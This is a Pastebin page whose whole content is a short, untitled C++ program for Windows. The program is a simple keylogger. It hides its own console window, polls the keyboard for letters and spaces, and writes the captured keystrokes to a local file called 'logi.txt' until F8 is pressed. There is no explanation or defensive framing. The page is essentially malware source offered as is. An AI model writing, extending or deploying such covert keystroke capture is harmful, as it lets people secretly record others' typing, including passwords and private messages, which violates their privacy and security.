Advertisement
Guest User

Untitled

a guest
Nov 14th, 2019
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.60 KB | None | 0 0
  1. #include <iostream>
  2. #include <fstream>
  3. #include <windows.h>
  4.  
  5. bool key_was_pressed(char key) {
  6.     return GetAsyncKeyState(key) == -32767;
  7. }
  8.  
  9. int main() {
  10.     ShowWindow(GetConsoleWindow(), SW_HIDE);
  11.  
  12.     char key;
  13.     std::string text;
  14.     std::ofstream log_file;
  15.     log_file.open("logi.txt");
  16.     while (!GetAsyncKeyState(VK_F8)) {
  17.         for (key = 'a'; key <= 'z'; key++) {
  18.             if (key_was_pressed(key)) {
  19.                 text += key;
  20.             }
  21.         }
  22.         if (key_was_pressed(VK_SPACE)) {
  23.             text += " ";
  24.         }
  25.     }
  26.  
  27.     log_file << text;
  28.     log_file.close();
  29.     return 0;
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement